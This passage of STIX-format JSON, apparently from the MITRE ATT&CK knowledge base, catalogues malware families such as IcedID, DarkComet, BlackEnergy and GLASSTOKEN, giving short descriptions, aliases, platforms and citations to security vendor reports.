2022.","url":"https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:29:45.766Z","name":"Fysbis","description":"[Fysbis](https://attack.mitre.org/software/S0410) is a Linux-based backdoor used by [APT28](https://attack.mitre.org/groups/G0007) that dates back to at least 2014.(Citation: Fysbis Palo Alto Analysis)","x_mitre_platforms":["Linux"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.4","x_mitre_aliases":["Fysbis"],"type":"malware","id":"malware--50d6688b-0985-4f3d-8cbe-0c796b30703b","created":"2019-09-12T17:40:38.303Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0410","external_id":"S0410"},{"source_name":"Fysbis Palo Alto Analysis","description":"Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy’s Linux Backdoor. Retrieved September 10, 2017.","url":"https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-28T19:20:20.633Z","name":"IcedID","description":"[IcedID](https://attack.mitre.org/software/S0483) is a modular banking malware designed to steal financial information that has been observed in the wild since at least 2017. [IcedID](https://attack.mitre.org/software/S0483) has been downloaded by [Emotet](https://attack.mitre.org/software/S0367) in multiple campaigns.(Citation: IBM IcedID November 2017)(Citation: Juniper IcedID June 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_contributors":["Jorge Orchilles","Matt Brenton","Zaw Min Htun, @Z3TAE"],"x_mitre_aliases":["IcedID"],"type":"malware","id":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","created":"2020-07-15T17:55:11.252Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0483","external_id":"S0483"},{"source_name":"IBM IcedID November 2017","description":"Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020.","url":"https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/"},{"source_name":"Juniper IcedID June 2020","description":"Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020.","url":"https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T22:17:02.480Z","name":"VERMIN","description":"[VERMIN](https://attack.mitre.org/software/S0257) is a remote access tool written in the Microsoft .NET framework. It is mostly composed of original code, but also has some open source code. (Citation: Unit 42 VERMIN Jan 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["VERMIN"],"type":"malware","id":"malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0257","external_id":"S0257"},{"source_name":"VERMIN","description":"(Citation: Unit 42 VERMIN Jan 2018)"},{"source_name":"Unit 42 VERMIN Jan 2018","description":"Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T22:22:03.759Z","name":"UBoatRAT","description":"[UBoatRAT](https://attack.mitre.org/software/S0333) is a remote access tool that was identified in May 2017.(Citation: PaloAlto UBoatRAT Nov 2017)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["UBoatRAT"],"type":"malware","id":"malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f","created":"2019-01-29T19:09:26.355Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0333","external_id":"S0333"},{"source_name":"UBoatRAT","description":"(Citation: PaloAlto UBoatRAT Nov 2017)"},{"source_name":"PaloAlto UBoatRAT Nov 2017","description":"Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-10T14:35:13.781Z","name":"Nightdoor","description":"[Nightdoor](https://attack.mitre.org/software/S1147) is a backdoor exclusively associated with [Daggerfly](https://attack.mitre.org/groups/G1034) operations. [Nightdoor](https://attack.mitre.org/software/S1147) uses common libraries with [MgBot](https://attack.mitre.org/software/S1146) and [MacMa](https://attack.mitre.org/software/S1016), linking these malware families together.(Citation: ESET EvasivePanda 2024)(Citation: Symantec Daggerfly 2024)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["Nightdoor"],"type":"malware","id":"malware--51f78dfc-52f9-424e-8753-bb4246188313","created":"2024-07-25T22:12:08.779Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1147","external_id":"S1147"},{"source_name":"ESET EvasivePanda 2024","description":"Ahn Ho, Facundo Muñoz, & Marc-Etienne M.Léveillé. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/"},{"source_name":"Symantec Daggerfly 2024","description":"Threat Hunter Team. (2024, July 23). Daggerfly: Espionage Group Makes Major Update to Toolset. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Pooja Natarajan, NEC Corporation India","Manikantan Srinivasan, NEC Corporation India","Hiroki Nagahama, NEC Corporation"],"x_mitre_aliases":["MarkiRAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","type":"malware","created":"2021-09-28T17:48:36.547Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0652","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0652"},{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-25T14:24:59.957Z","name":"MarkiRAT","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) is a remote access Trojan (RAT) compiled with Visual Studio that has been used by [Ferocious Kitten](https://attack.mitre.org/groups/G0137) since at least 2015.(Citation: Kaspersky Ferocious Kitten Jun 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["PowerShower"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--53486bc7-7748-4716-8190-e4f1fde04c53","type":"malware","created":"2020-05-08T19:27:12.414Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0441","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0441"},{"source_name":"Unit 42 Inception November 2018","url":"https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/","description":"Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."},{"source_name":"Kaspersky Cloud Atlas August 2019","url":"https://securelist.com/recent-cloud-atlas-activity/92016/","description":"GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}],"modified":"2020-05-20T20:43:49.960Z","name":"PowerShower","description":"[PowerShower](https://attack.mitre.org/software/S0441) is a PowerShell backdoor used by [Inception](https://attack.mitre.org/groups/G0100) for initial reconnaissance and to download and execute second stage payloads.(Citation: Unit 42 Inception November 2018)(Citation: Kaspersky Cloud Atlas August 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Kazuar"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0265","external_id":"S0265"},{"source_name":"Kazuar","description":"(Citation: Unit 42 Kazuar May 2017)"},{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2020-12-02T21:20:50.906Z","name":"Kazuar","description":"[Kazuar](https://attack.mitre.org/software/S0265) is a fully featured, multi-platform backdoor Trojan written using the Microsoft .NET framework. (Citation: Unit 42 Kazuar May 2017)","x_mitre_version":"1.3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["NavRAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--53a42597-1974-4b8e-84fd-3675e8992053","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0247","external_id":"S0247"},{"source_name":"NavRAT","description":"(Citation: Talos NavRAT May 2018)"},{"url":"https://blog.talosintelligence.com/2018/05/navrat.html","description":"Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.","source_name":"Talos NavRAT May 2018"}],"modified":"2020-03-20T01:52:50.303Z","name":"NavRAT","description":"[NavRAT](https://attack.mitre.org/software/S0247) is a remote access tool designed to upload, download, and execute files. It has been observed in attacks targeting South Korea. (Citation: Talos NavRAT May 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["DarkComet","DarkKomet","Fynloski","Krademok","FYNLOS"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","type":"malware","created":"2019-01-29T19:18:28.468Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0334","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0334"},{"source_name":"DarkComet","description":"(Citation: TrendMicro DarkComet Sept 2014)"},{"source_name":"DarkKomet","description":"(Citation: TrendMicro DarkComet Sept 2014)"},{"source_name":"Fynloski","description":"(Citation: TrendMicro DarkComet Sept 2014)"},{"source_name":"Krademok","description":"(Citation: TrendMicro DarkComet Sept 2014)"},{"source_name":"FYNLOS","description":"(Citation: TrendMicro DarkComet Sept 2014)"},{"source_name":"TrendMicro DarkComet Sept 2014","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET","description":"TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018."},{"source_name":"Malwarebytes DarkComet March 2018","url":"https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/","description":"Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018."}],"modified":"2020-03-28T00:53:12.228Z","name":"DarkComet","description":"[DarkComet](https://attack.mitre.org/software/S0334) is a Windows remote administration tool and backdoor.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["NETEAGLE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2","type":"malware","created":"2017-05-31T21:32:27.787Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0034","external_id":"S0034"},{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-30T17:07:46.499Z","name":"NETEAGLE","description":"[NETEAGLE](https://attack.mitre.org/software/S0034) is a backdoor developed by [APT30](https://attack.mitre.org/groups/G0013) with compile dates as early as 2008. It has two main variants known as “Scout” and “Norton.” (Citation: FireEye APT30)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["POORAIM"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--53d47b09-09c2-4015-8d37-6633ecd53f79","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0216","external_id":"S0216"},{"source_name":"POORAIM","description":"(Citation: FireEye APT37 Feb 2018)"},{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","source_name":"FireEye APT37 Feb 2018"}],"modified":"2020-03-30T17:16:18.343Z","name":"POORAIM","description":"[POORAIM](https://attack.mitre.org/software/S0216) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) in campaigns since at least 2014. (Citation: FireEye APT37 Feb 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-02T20:44:36.518Z","name":"HUI Loader","description":"[HUI Loader](https://attack.mitre.org/software/S1097) is a custom DLL loader that has been used since at least 2015 by China-based threat groups including [Cinnamon Tempest](https://attack.mitre.org/groups/G1021) and [menuPass](https://attack.mitre.org/groups/G0045) to deploy malware on compromised hosts. [HUI Loader](https://attack.mitre.org/software/S1097) has been observed in campaigns loading [SodaMaster](https://attack.mitre.org/software/S0627), [PlugX](https://attack.mitre.org/software/S0013), [Cobalt Strike](https://attack.mitre.org/software/S0154), [Komplex](https://attack.mitre.org/software/S0162), and several strains of ransomware.(Citation: SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["HUI Loader"],"type":"malware","id":"malware--54089fba-8662-4f37-9a44-6ad25a5f630a","created":"2023-12-22T20:03:48.505Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1097","external_id":"S1097"},{"source_name":"SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022","description":"Counter Threat Unit Research Team . (2022, June 23). BRONZE STARLIGHT RANSOMWARE OPERATIONS USE HUI LOADER. Retrieved December 7, 2023.","url":"https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-09T17:29:21.238Z","name":"CHIMNEYSWEEP","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) is a backdoor malware that was deployed during [HomeLand Justice](https://attack.mitre.org/campaigns/C0038) along with [ROADSWEEP](https://attack.mitre.org/software/S1150) ransomware, and has been used to target Farsi and Arabic speakers since at least 2012.(Citation: Mandiant ROADSWEEP August 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["CHIMNEYSWEEP"],"type":"malware","id":"malware--542e3384-341a-455b-bb48-4917b25e3b00","created":"2024-08-07T20:03:17.762Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1149","external_id":"S1149"},{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-06T15:08:53.375Z","name":"Ragnar Locker","description":"[Ragnar Locker](https://attack.mitre.org/software/S0481) is a ransomware that has been in use since at least December 2019.(Citation: Sophos Ragnar May 2020)(Citation: Cynet Ragnar Apr 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Ragnar Locker"],"type":"malware","id":"malware--54895630-efd2-4608-9c24-319de972a9eb","created":"2020-06-29T23:30:53.824Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0481","external_id":"S0481"},{"source_name":"Cynet Ragnar Apr 2020","description":"Gold, B. (2020, April 27). Cynet Detection Report: Ragnar Locker Ransomware. Retrieved June 29, 2020.","url":"https://www.cynet.com/blog/cynet-detection-report-ragnar-locker-ransomware/"},{"source_name":"Sophos Ragnar May 2020","description":"SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.","url":"https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["FatDuke"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","type":"malware","created":"2020-09-24T13:23:45.162Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0512","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0512"},{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2021-10-16T01:45:28.826Z","name":"FatDuke","description":"[FatDuke](https://attack.mitre.org/software/S0512) is a backdoor used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2016.(Citation: ESET Dukes October 2019)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniyal Naeem, BT Security"],"x_mitre_aliases":["Lucifer"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--54a73038-1937-4d71-a253-316e76d5413c","type":"malware","created":"2020-11-16T18:40:34.473Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0532","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0532"},{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2021-10-01T20:33:55.926Z","name":"Lucifer","description":"[Lucifer](https://attack.mitre.org/software/S0532) is a crypto miner and DDoS hybrid malware that leverages well-known exploits to spread laterally on Windows platforms.(Citation: Unit 42 Lucifer June 2020)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-06T14:08:40.134Z","name":"BlackEnergy","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_version":"1.4","x_mitre_aliases":["BlackEnergy","Black Energy"],"type":"malware","id":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","created":"2017-05-31T21:32:57.807Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0089","external_id":"S0089"},{"source_name":"F-Secure BlackEnergy 2014","description":"F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.","url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-09-22T00:38:34.857Z","name":"zwShell","description":"[zwShell](https://attack.mitre.org/software/S0350) is a remote access tool (RAT) written in Delphi that has been seen in the wild since the spring of 2010 and used by threat actors during [Night Dragon](https://attack.mitre.org/campaigns/C0002).(Citation: McAfee Night Dragon)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.0","x_mitre_aliases":["zwShell"],"type":"malware","id":"malware--54e8672d-5338-4ad1-954a-a7c986bee530","created":"2019-01-30T17:48:35.006Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0350","external_id":"S0350"},{"source_name":"zwShell","description":"(Citation: McAfee Night Dragon)"},{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--552462b9-ae79-49dd-855c-5973014e157f","type":"malware","created":"2017-05-31T21:32:20.949Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0027","external_id":"S0027"},{"source_name":"Sophos ZeroAccess","description":"Wyke, J. (2012, April). ZeroAccess. Retrieved July 18, 2016.","url":"https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf"}],"modified":"2018-10-17T00:14:20.652Z","name":"Zeroaccess","description":"[Zeroaccess](https://attack.mitre.org/software/S0027) is a kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that attempts to add victims to the ZeroAccess botnet, often for monetary gain. (Citation: Sophos ZeroAccess)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-03-06T19:15:21.887Z","name":"GLASSTOKEN","description":"[GLASSTOKEN](https://attack.mitre.org/software/S1117) is a custom web shell used by threat actors during [Cutting Edge](https://attack.mitre.org/campaigns/C0029) to execute commands on compromised Ivanti Secure Connect VPNs.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)","x_mitre_platforms":["Network"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["GLASSTOKEN"],"type":"malware","id":"malware--554e010d-726b-439d-9a1a-f60fff0cc109","created":"2024-03-06T19:14:43.437Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1117","external_id":"S1117"},{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 